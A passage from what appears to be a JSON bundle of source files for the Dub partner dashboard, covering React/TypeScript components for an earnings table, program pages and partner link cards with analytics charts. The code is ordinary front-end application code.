\"Customer\",\n        options:\n          customers?.map(({ id, email }) => ({\n            value: id,\n            label: email || id,\n          })) ?? null,\n      },\n      {\n        key: \"status\",\n        icon: CircleDotted,\n        label: \"Status\",\n        options: statuses?.map(({ status, _count }) => {\n          const Icon = CommissionStatusBadges[status].icon;\n          return {\n            value: status,\n            label: CommissionStatusBadges[status].label,\n            icon: (\n              <Icon\n                className={cn(\n                  CommissionStatusBadges[status].className,\n                  \"size-4 bg-transparent\",\n                )}\n              />\n            ),\n            right: nFormatter(_count, { full: true }),\n          };\n        }),\n      },\n    ],\n    [links, customers, statuses],\n  );\n\n  const activeFilters = useMemo(() => {\n    const { type, linkId, customerId, status } = searchParamsObj;\n    return [\n      ...(type ? [{ key: \"type\", value: type }] : []),\n      ...(linkId ? [{ key: \"linkId\", value: linkId }] : []),\n      ...(customerId ? [{ key: \"customerId\", value: customerId }] : []),\n      ...(status ? [{ key: \"status\", value: status }] : []),\n    ];\n  }, [searchParamsObj]);\n\n  const onSelect = (key: string, value: any) =>\n    queryParams({\n      set: {\n        [key]: value,\n      },\n      del: \"page\",\n      scroll: false,\n    });\n\n  const onRemove = (key: string, _value: any) =>\n    queryParams({\n      del: [key, \"page\"],\n      scroll: false,\n    });\n\n  const onRemoveAll = () =>\n    queryParams({\n      del: [\"linkId\", \"customerId\", \"status\", \"page\"],\n      scroll: false,\n    });\n\n  return (\n    <div>\n      <div className=\"flex flex-col gap-2 md:flex-row md:items-center\">\n        <Filter.Select\n          filters={filters}\n          activeFilters={activeFilters}\n          onSelect={onSelect}\n          onRemove={onRemove}\n          onSelectedFilterChange={setSelectedFilter}\n        />\n        <SimpleDateRangePicker className=\"w-full md:w-fit\" align=\"start\" />\n      </div>\n\n      <div\n        className={cn(\n          \"transition-[height] duration-[300ms]\",\n          activeFilters.length ? \"h-3\" : \"h-0\",\n        )}\n      />\n      <Filter.List\n        filters={filters}\n        activeFilters={activeFilters}\n        onSelect={onSelect}\n        onRemove={onRemove}\n        onRemoveAll={onRemoveAll}\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/[programSlug]/(enrolled)/earnings/earnings-table.tsx",
    "content": "\"use client\";\n\nimport usePartnerEarningsCount from \"@/lib/swr/use-partner-earnings-count\";\nimport useProgramEnrollment from \"@/lib/swr/use-program-enrollment\";\nimport { PartnerEarningsResponse } from \"@/lib/types\";\nimport { CLAWBACK_REASONS_MAP } from \"@/lib/zod/schemas/commissions\";\nimport { CustomerRowItem } from \"@/ui/customers/customer-row-item\";\nimport { CommissionStatusBadges } from \"@/ui/partners/commission-status-badges\";\nimport { CommissionTypeBadge } from \"@/ui/partners/commission-type-badge\";\nimport { AnimatedEmptyState } from \"@/ui/shared/animated-empty-state\";\nimport { FilterButtonTableRow } from \"@/ui/shared/filter-button-table-row\";\nimport {\n  CopyText,\n  LinkLogo,\n  StatusBadge,\n  Table,\n  TimestampTooltip,\n  Tooltip,\n  usePagination,\n  useRouterStuff,\n  useTable,\n} from \"@dub/ui\";\nimport { CircleDollar, Globe } from \"@dub/ui/icons\";\nimport {\n  cn,\n  COUNTRIES,\n  currencyFormatter,\n  fetcher,\n  formatDateTimeSmart,\n  getApexDomain,\n  getPrettyUrl,\n} from \"@dub/utils\";\nimport { Cell } from \"@tanstack/react-table\";\nimport { useParams } from \"next/navigation\";\nimport useSWR from \"swr\";\n\ntype ColumnMeta = {\n  filterParams?: (\n    args: Pick<Cell<PartnerEarningsResponse, any>, \"getValue\">,\n  ) => Record<string, any>;\n};\n\nexport function EarningsTablePartner({ limit }: { limit?: number }) {\n  const { programSlug } = useParams();\n  const { programEnrollment, showDetailedAnalytics } = useProgramEnrollment();\n  const { queryParams, searchParamsObj, getQueryString } = useRouterStuff();\n\n  const { sortBy = \"createdAt\", sortOrder = \"desc\" } = searchParamsObj as {\n    sortBy?: \"createdAt\";\n    sortOrder?: \"asc\" | \"desc\";\n  };\n\n  const { earningsCount } = usePartnerEarningsCount<{ count: number }>({\n    enabled: programEnrollment ? true : false,\n  });\n\n  const {\n    data: earnings,\n    isLoading,\n    error,\n  } = useSWR<PartnerEarningsResponse[]>(\n    programEnrollment &&\n      `/api/partner-profile/programs/${programEnrollment.programId}/earnings${getQueryString(\n        limit ? { pageSize: limit } : {},\n      )}`,\n    fetcher,\n    { keepPreviousData: true },\n  );\n\n  const { pagination, setPagination } = usePagination(limit);\n\n  const { table, ...tableProps } = useTable({\n    data: earnings || [],\n    loading: isLoading,\n    error: error ? \"Failed to fetch earnings.\" : undefined,\n    columns: [\n      {\n        id: \"createdAt\",\n        header: \"Date\",\n        accessorKey: \"timestamp\",\n        minSize: 140,\n        cell: ({ row }) => (\n          <TimestampTooltip\n            timestamp={row.original.createdAt}\n            side=\"right\"\n            rows={[\"local\"]}\n          >\n            <span>{formatDateTimeSmart(row.original.createdAt)}</span>\n          </TimestampTooltip>\n        ),\n      },\n      {\n        id: \"type\",\n        header: \"Type\",\n        accessorKey: \"type\",\n        meta: {\n          filterParams: ({ getValue }) => ({\n            type: getValue(),\n          }),\n        },\n        cell: ({ row }) => <CommissionTypeBadge type={row.original.type} />,\n      },\n      {\n        id: \"link\",\n        header: \"Link\",\n        accessorKey: \"link\",\n        meta: {\n          filterParams: ({ row }) =>\n            row.original.link ? { linkId: row.original.link.id } : null,\n        },\n        cell: ({ row }) =>\n          row.original.link ? (\n            <div className=\"flex items-center gap-3\">\n              <LinkLogo\n                apexDomain={getApexDomain(row.original.link.url)}\n                className=\"size-4 shrink-0 sm:size-4\"\n              />\n              <CopyText\n                value={row.original.link.shortLink}\n                successMessage=\"Copied link to clipboard!\"\n                className=\"truncate\"\n              >\n                <span className=\"truncate\" title={row.original.link.shortLink}>\n                  {getPrettyUrl(row.original.link.shortLink)}\n                </span>\n              </CopyText>\n            </div>\n          ) : (\n            \"-\"\n          ),\n        size: 250,\n      },\n      {\n        id: \"customer\",\n        header: \"Customer\",\n        minSize: 250,\n        cell: ({ row }) =>\n          row.original.customer ? (\n            <CustomerRowItem\n              customer={row.original.customer}\n              href={\n                showDetailedAnalytics\n                  ? `/programs/${programSlug}/customers/${row.original.customer.id}`\n                  : undefined\n              }\n              className=\"px-4 py-2.5\"\n            />\n          ) : (\n            <p className=\"px-4 py-2.5\">-</p>\n          ),\n        meta: {\n          filterParams: ({ row }) =>\n            row.original.customer\n              ? {\n                  customerId: row.original.customer.id,\n                }\n              : null,\n        },\n      },\n      ...(programEnrollment?.rewards?.some((r) => r.event === \"sale\")\n        ? [\n            {\n              id: \"amount\",\n              header: \"Sale Amount\",\n              accessorKey: \"amount\",\n              cell: ({ row }) =>\n                row.original.amount\n                  ? currencyFormatter(row.original.amount)\n                  : \"-\",\n            },\n          ]\n        : [\n            {\n              id: \"country\",\n              header: \"Country\",\n              accessorKey: \"customer.country\",\n              cell: ({ getValue }) => (\n                <div\n                  className=\"flex items-center gap-3\"\n                  title={COUNTRIES[getValue()] ?? getValue()}\n                >\n                  {getValue() ? (\n                    <img\n                      alt={getValue()}\n                      src={`https://hatscripts.github.io/circle-flags/flags/${getValue().toLowerCase()}.svg`}\n                      className=\"size-4 shrink-0\"\n                    />\n                  ) : (\n                    <Globe className=\"size-4 shrink-0\" />\n                  )}\n                  <span className=\"truncate\">\n                    {COUNTRIES[getValue()] || getValue() || \"-\"}\n                  </span>\n                </div>\n              ),\n            },\n          ]),\n      {\n        id: \"earnings\",\n        header: \"Earnings\",\n        accessorKey: \"earnings\",\n        cell: ({ row }) => {\n          const commission = row.original;\n\n          const earnings = currencyFormatter(commission.earnings);\n\n          if (commission.description) {\n            const reason =\n              CLAWBACK_REASONS_MAP[commission.description]?.description ??\n              commission.description;\n\n            return (\n              <Tooltip content={reason}>\n                <span\n                  className={cn(\n                    \"cursor-help truncate underline decoration-dotted underline-offset-2\",\n                    commission.earnings < 0 && \"text-red-600\",\n                  )}\n                >\n                  {earnings}\n                </span>\n              </Tooltip>\n            );\n          }\n\n          return (\n            <span\n              className={cn(\n                commission.earnings < 0 && \"text-red-600\",\n                \"truncate\",\n              )}\n            >\n              {earnings}\n            </span>\n          );\n        },\n      },\n      {\n        header: \"Status\",\n        cell: ({ row }) => {\n          const badge = CommissionStatusBadges[row.original.status];\n\n          return (\n            <StatusBadge\n              icon={null}\n              variant={badge.variant}\n              tooltip={badge.tooltip({\n                program: programEnrollment?.program,\n                group: programEnrollment?.group ?? undefined,\n                commission: row.original,\n                variant: \"partner\",\n              })}\n            >\n              {badge.label}\n            </StatusBadge>\n          );\n        },\n      },\n    ],\n    cellRight: (cell) => {\n      const meta = cell.column.columnDef.meta as ColumnMeta | undefined;\n      return (\n        meta?.filterParams &&\n        meta.filterParams(cell) && (\n          <FilterButtonTableRow set={meta.filterParams(cell)} />\n        )\n      );\n    },\n    ...(!limit && {\n      pagination,\n      onPaginationChange: setPagination,\n      sortableColumns: [\"createdAt\", \"amount\", \"earnings\"],\n      sortBy,\n      sortOrder,\n      onSortChange: ({ sortBy, sortOrder }) =>\n        queryParams({\n          set: {\n            ...(sortBy && { sortBy }),\n            ...(sortOrder && { sortOrder }),\n          },\n          del: \"page\",\n          scroll: false,\n        }),\n      enableColumnResizing: true,\n    }),\n    rowCount: earningsCount?.count || 0,\n    tdClassName: (columnId) => (columnId === \"customer\" ? \"p-0\" : \"\"),\n    emptyState: (\n      <AnimatedEmptyState\n        title=\"No earnings found\"\n        description=\"No earnings have been made for this program yet.\"\n        cardContent={() => (\n          <>\n            <CircleDollar className=\"size-4 text-neutral-700\" />\n            <div className=\"h-2.5 w-24 min-w-0 rounded-sm bg-neutral-200\" />\n          </>\n        )}\n      />\n    ),\n    resourceName: (plural) => `earning${plural ? \"s\" : \"\"}`,\n  });\n\n  return isLoading || earnings?.length ? (\n    <Table\n      {...tableProps}\n      table={table}\n      containerClassName=\"border-neutral-200\"\n    />\n  ) : (\n    <AnimatedEmptyState\n      title=\"No earnings found\"\n      description=\"No earnings have been made for this program yet.\"\n      cardContent={() => (\n        <>\n          <CircleDollar className=\"size-4 text-neutral-700\" />\n          <div className=\"h-2.5 w-24 min-w-0 rounded-sm bg-neutral-200\" />\n        </>\n      )}\n    />\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/[programSlug]/(enrolled)/earnings/page.tsx",
    "content": "import { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { EarningsCompositeChart } from \"./earnings-composite-chart\";\nimport { EarningsTablePartner } from \"./earnings-table\";\n\nexport default function ProgramEarning() {\n  return (\n    <PageContent title=\"Earnings\">\n      <PageWidthWrapper className=\"flex flex-col gap-6 pb-10\">\n        <EarningsCompositeChart />\n        <EarningsTablePartner />\n      </PageWidthWrapper>\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/[programSlug]/(enrolled)/events/page.tsx",
    "content": "import Events from \"@/ui/analytics/events\";\nimport { EventsProvider } from \"@/ui/analytics/events/events-provider\";\nimport { PageContent } from \"@/ui/layout/page-content\";\n\nexport default function ProgramEvents() {\n  return (\n    <PageContent title=\"Events\">\n      <EventsProvider>\n        <Events />\n      </EventsProvider>\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/[programSlug]/(enrolled)/hide-program-details-button.tsx",
    "content": "\"use client\";\n\nimport { useSyncedLocalStorage } from \"@/lib/hooks/use-synced-local-storage\";\nimport useProgramEnrollment from \"@/lib/swr/use-program-enrollment\";\nimport { Button, Gift } from \"@dub/ui\";\nimport { useParams } from \"next/navigation\";\n\nexport function HideProgramDetailsButton() {\n  const { programSlug } = useParams();\n  const { programEnrollment } = useProgramEnrollment();\n\n  const [hideDetails, setHideDetails] = useSyncedLocalStorage(\n    `hide-program-details:${programSlug}`,\n    false,\n  );\n\n  if (!programEnrollment?.links?.[0]) {\n    return null;\n  }\n\n  return (\n    <Button\n      text={hideDetails ? \"Show details\" : \"Hide details\"}\n      icon={<Gift className=\"size-4\" />}\n      variant=\"secondary\"\n      className=\"h-8 px-2\"\n      onClick={() => setHideDetails(!hideDetails)}\n    />\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/[programSlug]/(enrolled)/layout.tsx",
    "content": "import { ProgramEnrollmentAuth } from \"./auth\";\n\nexport default function Layout({ children }: { children: React.ReactNode }) {\n  return <ProgramEnrollmentAuth>{children}</ProgramEnrollmentAuth>;\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/[programSlug]/(enrolled)/links/page-client.tsx",
    "content": "\"use client\";\n\nimport {\n  DATE_RANGE_INTERVAL_PRESETS,\n  DUB_PARTNERS_ANALYTICS_INTERVAL,\n} from \"@/lib/analytics/constants\";\nimport { IntervalOptions } from \"@/lib/analytics/types\";\nimport usePartnerLinks from \"@/lib/swr/use-partner-links\";\nimport useProgramEnrollment from \"@/lib/swr/use-program-enrollment\";\nimport { usePartnerLinkModal } from \"@/ui/modals/partner-link-modal\";\nimport { AnimatedEmptyState } from \"@/ui/shared/animated-empty-state\";\nimport SimpleDateRangePicker from \"@/ui/shared/simple-date-range-picker\";\nimport {\n  Button,\n  CardList,\n  ToggleGroup,\n  useKeyboardShortcut,\n  useRouterStuff,\n} from \"@dub/ui\";\nimport { ChartTooltipSync } from \"@dub/ui/charts\";\nimport { CursorRays, GridIcon, GridLayoutRows, Hyperlink } from \"@dub/ui/icons\";\nimport { createContext, useContext, useEffect, useState } from \"react\";\nimport { PartnerLinkCard } from \"./partner-link-card\";\n\nconst PartnerLinksContext = createContext<{\n  start?: Date;\n  end?: Date;\n  interval: (typeof DATE_RANGE_INTERVAL_PRESETS)[number];\n  openMenuLinkId: string | null;\n  setOpenMenuLinkId: (id: string | null) => void;\n  displayOption: \"full\" | \"cards\";\n} | null>(null);\n\nexport function usePartnerLinksContext() {\n  const context = useContext(PartnerLinksContext);\n  if (!context)\n    throw new Error(\n      \"usePartnerLinksContext must be used within a PartnerLinksContext.Provider\",\n    );\n\n  return context;\n}\n\nexport function ProgramLinksPageClient() {\n  const { searchParamsObj } = useRouterStuff();\n  const { links, error, loading, isValidating } = usePartnerLinks();\n  const { programEnrollment, showDetailedAnalytics } = useProgramEnrollment();\n  const { setShowPartnerLinkModal, PartnerLinkModal } = usePartnerLinkModal();\n  const [openMenuLinkId, setOpenMenuLinkId] = useState<string | null>(null);\n\n  const [displayOption, setDisplayOption] = useState<\"full\" | \"cards\">(\"full\");\n\n  useEffect(() => {\n    if ((links && links.length > 5) || !showDetailedAnalytics) {\n      setDisplayOption(\"cards\");\n    } else {\n      setDisplayOption(\"full\");\n    }\n  }, [links, showDetailedAnalytics]);\n\n  const {\n    start,\n    end,\n    interval = DUB_PARTNERS_ANALYTICS_INTERVAL,\n  } = searchParamsObj as {\n    start?: string;\n    end?: string;\n    interval?: IntervalOptions;\n  };\n\n  const { program, group, status } = programEnrollment ?? {};\n  const maxPartnerLinks = group?.maxPartnerLinks;\n  const additionalLinks = group?.additionalLinks;\n\n  const hasLinksLimitReached =\n    links && maxPartnerLinks && links.length >= maxPartnerLinks;\n  const hasAdditionalLinks = additionalLinks && additionalLinks.length > 0;\n\n  const canCreateNewLink = !hasLinksLimitReached && hasAdditionalLinks;\n\n  useKeyboardShortcut(\"c\", () => setShowPartnerLinkModal(true), {\n    enabled: canCreateNewLink ?? false,\n  });\n\n  const showAllTimeAnalytics =\n    !showDetailedAnalytics || displayOption === \"cards\";\n\n  return (\n    <div className=\"flex flex-col gap-5\">\n      <PartnerLinkModal />\n      <div className=\"flex items-center justify-between\">\n        <SimpleDateRangePicker\n          className=\"w-fit\"\n          align=\"start\"\n          defaultInterval={\n            showAllTimeAnalytics ? \"all\" : DUB_PARTNERS_ANALYTICS_INTERVAL\n          }\n          disabled={showAllTimeAnalytics}\n        />\n        <div className=\"flex items-center gap-3\">\n          {!!showDetailedAnalytics && (\n            <ToggleGroup\n              className=\"rounded-lg\"\n              options={[\n                {\n                  value: \"full\",\n                  label: (\n                    <div className=\"p-1\">\n                      <GridIcon className=\"size-4\" />\n                    </div>\n                  ),\n                },\n                {\n                  value: \"cards\",\n                  label: (\n                    <div className=\"p-1\">\n                      <GridLayoutRows className=\"size-4\" />\n                    </div>\n                  ),\n                },\n              ]}\n              selected={displayOption}\n              selectAction={(option) =>\n                setDisplayOption(option as \"full\" | \"cards\")\n              }\n            />\n          )}\n          <Button\n            text=\"Create Link\"\n            className=\"w-fit\"\n            shortcut=\"C\"\n            onClick={() => setShowPartnerLinkModal(true)}\n            disabled={!canCreateNewLink}\n            disabledTooltip={\n              status === \"deactivated\"\n                ? \"You cannot create links in this program because your partnership has been deactivated.\"\n                : hasLinksLimitReached\n                  ? `You have reached the limit of ${maxPartnerLinks} referral links.`\n                  : !hasAdditionalLinks\n                    ? `${program?.name ?? \"This\"} program does not allow partners to create new links.`\n                    : undefined\n            }\n          />\n        </div>\n      </div>\n      <PartnerLinksContext.Provider\n        value={{\n          start: start ? new Date(start) : undefined,\n          end: end ? new Date(end) : undefined,\n          interval,\n          openMenuLinkId,\n          setOpenMenuLinkId,\n          displayOption,\n        }}\n      >\n        <ChartTooltipSync>\n          <CardList loading={isValidating}>\n            {error ? (\n              <div className=\"flex items-center justify-center px-5 py-3\">\n                <p className=\"text-sm text-neutral-600\">\n                  Failed to load links.\n                </p>\n              </div>\n            ) : loading ? (\n              <LinkCardSkeleton />\n            ) : links?.length === 0 ? (\n              <AnimatedEmptyState\n                title=\"No links yet\"\n                description=\"Get started by creating your first partner link to track your referrals.\"\n                cardContent={\n                  <>\n                    <Hyperlink className=\"size-4 text-neutral-700\" />\n                    <div className=\"h-2.5 w-24 min-w-0 rounded-sm bg-neutral-200\" />\n                    <div className=\"xs:flex hidden grow items-center justify-end gap-1.5 text-neutral-500\">\n                      <CursorRays className=\"size-3.5\" />\n                    </div>\n                  </>\n                }\n                addButton={\n                  <Button\n                    text=\"Create Link\"\n                    onClick={() => setShowPartnerLinkModal(true)}\n                    shortcut=\"C\"\n                  />\n                }\n              />\n            ) : (\n              links?.map((link) => (\n                <PartnerLinkCard key={link.id} link={link} />\n              ))\n            )}\n          </CardList>\n        </ChartTooltipSync>\n      </PartnerLinksContext.Provider>\n    </div>\n  );\n}\n\nfunction LinkCardSkeleton() {\n  return (\n    <CardList.Card innerClassName=\"px-0 py-0\" hoverStateEnabled={false}>\n      <div className=\"p-4\">\n        <div className=\"flex items-center justify-between gap-4\">\n          <div className=\"flex min-w-0 items-center gap-3\">\n            <div className=\"relative hidden size-11 shrink-0 animate-pulse rounded-full bg-neutral-200 sm:flex\" />\n            <div className=\"flex min-w-0 flex-col gap-1.5\">\n              <div className=\"h-6 w-32 animate-pulse rounded-md bg-neutral-200\" />\n              <div className=\"h-4 w-48 animate-pulse rounded-md bg-neutral-200\" />\n            </div>\n          </div>\n          <div className=\"h-7 w-16 animate-pulse rounded-md bg-neutral-200\" />\n        </div>\n        <div className=\"mt-4 grid grid-cols-1 gap-4 sm:grid-cols-3\">\n          {[...Array(3)].map((_, i) => (\n            <div\n              key={i}\n              className=\"h-[156px] rounded-lg border border-neutral-100\"\n            />\n          ))}\n        </div>\n      </div>\n    </CardList.Card>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/[programSlug]/(enrolled)/links/page.tsx",
    "content": "import { PageContent } from \"@/ui/layout/page-content\";\n\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { ProgramLinksPageClient } from \"./page-client\";\n\nexport default function ProgramLinks() {\n  return (\n    <PageContent title=\"Links\">\n      <PageWidthWrapper className=\"pb-10\">\n        <ProgramLinksPageClient />\n      </PageWidthWrapper>\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/[programSlug]/(enrolled)/links/partner-link-card.tsx",
    "content": "import { formatDateTooltip } from \"@/lib/analytics/format-date-tooltip\";\nimport { constructPartnerLink } from \"@/lib/partners/construct-partner-link\";\nimport usePartnerAnalytics from \"@/lib/swr/use-partner-analytics\";\nimport useProgramEnrollment from \"@/lib/swr/use-program-enrollment\";\nimport { PartnerProfileLinkProps } from \"@/lib/types\";\nimport { CommentsBadge } from \"@/ui/links/comments-badge\";\nimport { DiscountCodeBadge } from \"@/ui/partners/discounts/discount-code-badge\";\nimport { PartnerStatusBadges } from \"@/ui/partners/partner-status-badges\";\nimport {\n  ArrowTurnRight2,\n  Button,\n  CardList,\n  CopyButton,\n  CursorRays,\n  InvoiceDollar,\n  LinkLogo,\n  LoadingSpinner,\n  StatusBadge,\n  Tooltip,\n  useInViewport,\n  UserCheck,\n  useRouterStuff,\n} from \"@dub/ui\";\nimport { Areas, TimeSeriesChart, XAxis } from \"@dub/ui/charts\";\nimport {\n  cn,\n  currencyFormatter,\n  getApexDomain,\n  getPrettyUrl,\n  nFormatter,\n} from \"@dub/utils\";\nimport NumberFlow from \"@number-flow/react\";\nimport Link from \"next/link\";\nimport {\n  ComponentProps,\n  memo,\n  useCallback,\n  useContext,\n  useMemo,\n  useRef,\n} from \"react\";\nimport { usePartnerLinksContext } from \"./page-client\";\nimport { PartnerLinkControls } from \"./partner-link-controls\";\n\nconst CHARTS = [\n  {\n    key: \"clicks\",\n    icon: CursorRays,\n    label: \"Clicks\",\n    colorClassName: \"text-blue-500\",\n  },\n  {\n    key: \"leads\",\n    icon: UserCheck,\n    label: \"Leads\",\n    colorClassName: \"text-purple-500\",\n  },\n  {\n    key: \"saleAmount\",\n    icon: InvoiceDollar,\n    label: \"Sales\",\n    colorClassName: \"text-teal-500\",\n    currency: true,\n  },\n];\n\nexport function PartnerLinkCard({ link }: { link: PartnerProfileLinkProps }) {\n  const { programEnrollment } = useProgramEnrollment();\n  const { displayOption } = usePartnerLinksContext();\n\n  const partnerLink = constructPartnerLink({\n    group: programEnrollment?.group,\n    link,\n  });\n\n  const isDeactivated = programEnrollment?.status === \"deactivated\";\n\n  return (\n    <CardList.Card\n      innerClassName={cn(\"px-0 py-0 group/card\", isDeactivated && \"opacity-80\")}\n    >\n      <div className=\"p-4\">\n        <div className=\"flex items-center justify-between gap-4\">\n          <div className=\"flex min-w-0 items-center gap-3\">\n            <div className=\"relative hidden shrink-0 items-center justify-center sm:flex\">\n              <div className=\"absolute inset-0 shrink-0 rounded-full border border-neutral-200\">\n                <div className=\"h-full w-full rounded-full border border-white bg-gradient-to-t from-neutral-100\" />\n              </div>\n              <div className=\"relative p-2.5\">\n                <LinkLogo\n                  apexDomain={getApexDomain(link.url)}\n                  className=\"size-4 sm:size-6\"\n                />\n              </div>\n            </div>\n\n            <div className=\"flex min-w-0 flex-col\">\n              <div className=\"flex flex-col\">\n                <div className=\"flex items-center gap-1\">\n                  <a\n                    href={isDeactivated ? undefined : partnerLink}\n                    target=\"_blank\"\n                    rel=\"noopener noreferrer\"\n                    className={cn(\n                      \"truncate text-sm font-semibold leading-6 transition-colors\",\n                      isDeactivated\n                        ? \"cursor-default text-neutral-400\"\n                        : \"text-neutral-700 hover:text-black\",\n                    )}\n                    onClick={\n                      isDeactivated ? (e) => e.preventDefault() : undefined\n                    }\n                  >\n                    {getPrettyUrl(partnerLink)}\n                  </a>\n                  {!isDeactivated && (\n                    <CopyButton value={partnerLink} variant=\"neutral\" />\n                  )}\n\n                  {link.comments && <CommentsBadge comments={link.comments} />}\n                </div>\n\n                {/* The max width implementation here is a bit hacky, we should improve in the future */}\n                <div className=\"flex max-w-[100px] items-center gap-1 py-0 pl-1 pr-1.5 sm:w-fit sm:max-w-[400px]\">\n                  <ArrowTurnRight2 className=\"h-3 w-3 shrink-0 text-neutral-400\" />\n                  <a\n                    href={isDeactivated ? undefined : link.url}\n                    target=\"_blank\"\n                    rel=\"noopener noreferrer\"\n                    className=\"cursor-alias truncate text-sm text-neutral-500 decoration-dotted transition-colors hover:text-neutral-700 hover:underline hover:underline-offset-2\"\n                    title={getPrettyUrl(link.url)}\n                    onClick={\n                      isDeactivated ? (e) => e.preventDefault() : undefined\n                    }\n                  >\n                    {getPrettyUrl(link.url)}\n                  </a>\n                </div>\n              </div>\n            </div>\n          </div>\n          <div className=\"flex items-center gap-2\">\n            {isDeactivated &&\n              (() => {\n                const deactivatedBadge = PartnerStatusBadges.deactivated;\n                return (\n                  <StatusBadge\n                    variant={deactivatedBadge.variant}\n                    icon={deactivatedBadge.icon}\n                    className=\"px-1.5 py-0.5\"\n                  >\n                    {deactivatedBadge.label}\n                  </StatusBadge>\n                );\n              })()}\n            {link.discountCode && (\n              <Tooltip\n                content={\n                  \"This program supports discount code tracking. Copy the code to use it in podcasts, videos, etc. [Learn more](https://dub.co/help/article/dual-sided-incentives)\"\n                }\n              >\n                <div className=\"hidden items-center gap-1.5 rounded-xl border border-neutral-200 py-1 pl-2 pr-1 sm:flex\">\n                  <span className=\"text-sm leading-none text-neutral-500\">\n                    Discount code\n                  </span>\n                  <DiscountCodeBadge code={link.discountCode} />\n                </div>\n              </Tooltip>\n            )}\n            {displayOption === \"cards\" && <StatsBadge link={link} />}\n            <Controls link={link} />\n          </div>\n        </div>\n      </div>\n      {displayOption === \"full\" && <StatsCharts link={link} />}\n    </CardList.Card>\n  );\n}\n\nconst StatsBadge = memo(({ link }: { link: PartnerProfileLinkProps }) => {\n  const { programEnrollment, showDetailedAnalytics } = useProgramEnrollment();\n  const As = showDetailedAnalytics ? Link : \"div\";\n  return (\n    <As\n      href={`/programs/${programEnrollment?.program.slug}/analytics?linkId=${link.id}`}\n      className=\"flex items-center gap-0.5 rounded-md border border-neutral-200 bg-neutral-50 p-0.5 text-sm text-neutral-600\"\n    >\n      {[\n        {\n          id: \"clicks\",\n          icon: CursorRays,\n          value: link.clicks,\n          iconClassName: \"data-[active=true]:text-blue-500\",\n        },\n        {\n          id: \"leads\",\n          icon: UserCheck,\n          value: link.leads,\n          className: \"hidden sm:flex\",\n          iconClassName: \"data-[active=true]:text-purple-500\",\n        },\n        {\n          id: \"sales\",\n          icon: InvoiceDollar,\n          value: link.saleAmount,\n          className: \"hidden sm:flex\",\n          iconClassName: \"data-[active=true]:text-teal-500\",\n        },\n      ].map(({ id: tab, icon: Icon, value, className, iconClassName }) => (\n        <div\n          key={tab}\n          className={cn(\n            \"flex items-center gap-1 whitespace-nowrap rounded-md px-1 py-px transition-colors\",\n            className,\n          )}\n        >\n          <Icon\n            data-active={value > 0}\n            className={cn(\"h-4 w-4 shrink-0\", iconClassName)}\n          />\n          <span>\n            {tab === \"sales\"\n              ? currencyFormatter(value, {\n                  trailingZeroDisplay: \"stripIfInteger\",\n                })\n              : nFormatter(value)}\n          </span>\n        </div>\n      ))}\n    </As>\n  );\n});\n\nconst StatsCharts = memo(({ link }: { link: PartnerProfileLinkProps }) => {\n  const { getQueryString } = useRouterStuff();\n  const { start, end, interval } = usePartnerLinksContext();\n  const { programEnrollment } = useProgramEnrollment();\n\n  const ref = useRef<HTMLDivElement>(null);\n  const isVisible = useInViewport(ref);\n  const lastValidTotals = useRef<{\n    clicks: number;\n    leads: number;\n    saleAmount: number;\n  } | null>(null);\n\n  const { data: timeseries, error } = usePartnerAnalytics(\n    {\n      linkId: link.id,\n      groupBy: \"timeseries\",\n      event: \"composite\",\n      interval,\n      start,\n      end,\n      enabled: isVisible,\n    },\n    {\n      keepPreviousData: false,\n    },\n  );\n\n  const totals = useMemo(() => {\n    const newTotals = timeseries?.reduce(\n      (acc, { clicks, leads, saleAmount }) => ({\n        clicks: acc.clicks + clicks,\n        leads: acc.leads + leads,\n        saleAmount: acc.saleAmount + saleAmount,\n      }),\n      { clicks: 0, leads: 0, saleAmount: 0 },\n    );\n\n    if (newTotals) {\n      lastValidTotals.current = newTotals;\n      return newTotals;\n    }\n\n    return lastValidTotals.current ?? { clicks: 0, leads: 0, saleAmount: 0 };\n  }, [timeseries]);\n\n  const chartData = useMemo(() => {\n    return timeseries?.map(({ start, clicks, leads, saleAmount }) => ({\n      date: new Date(start),\n      values: { clicks, leads, saleAmount: saleAmount },\n    }));\n  }, [timeseries]);\n\n  return (\n    <div ref={ref} className=\"grid grid-cols-1 gap-4 p-4 pt-0 sm:grid-cols-3\">\n      {CHARTS.map((chart) => (\n        <Link\n          key={chart.key}\n          href={`/programs/${programEnrollment?.program.slug}/analytics${getQueryString(\n            {\n              linkId: link.id,\n              event: chart.key === \"saleAmount\" ? \"sales\" : chart.key,\n            },\n          )}`}\n          className=\"group/chart relative isolate rounded-lg border border-neutral-200 px-2 py-1.5 lg:px-3\"\n        >\n          <div className=\"absolute right-2 top-2 overflow-hidden\">\n            <div className=\"translate-x-full transition-transform duration-200 group-hover/chart:translate-x-0\">\n              <Button\n                text=\"View more\"\n                variant=\"secondary\"\n                className=\"h-6 w-fit px-2 text-xs\"\n              />\n            </div>\n          </div>\n          <div className=\"flex flex-col gap-1 pl-2 pt-3 lg:pl-1.5\">\n            <div className=\"flex items-center gap-1.5\">\n              <chart.icon\n                className={cn(\"h-4 w-4 shrink-0\", chart.colorClassName)}\n              />\n              <span className=\"text-sm font-semibold leading-none text-neutral-800\">\n                {chart.label}\n              </span>\n            </div>\n            {totals ? (\n              <span className=\"text-base font-medium leading-none text-neutral-600\">\n                <NumberFlow\n                  value={\n                    chart.currency ? totals[chart.key] / 100 : totals[chart.key]\n                  }\n                  format={\n                    chart.currency\n                      ? {\n                          style: \"currency\",\n                          currency: \"USD\",\n                          // @ts-ignore – trailingZeroDisplay is a valid option but TS is outdated\n                          trailingZeroDisplay: 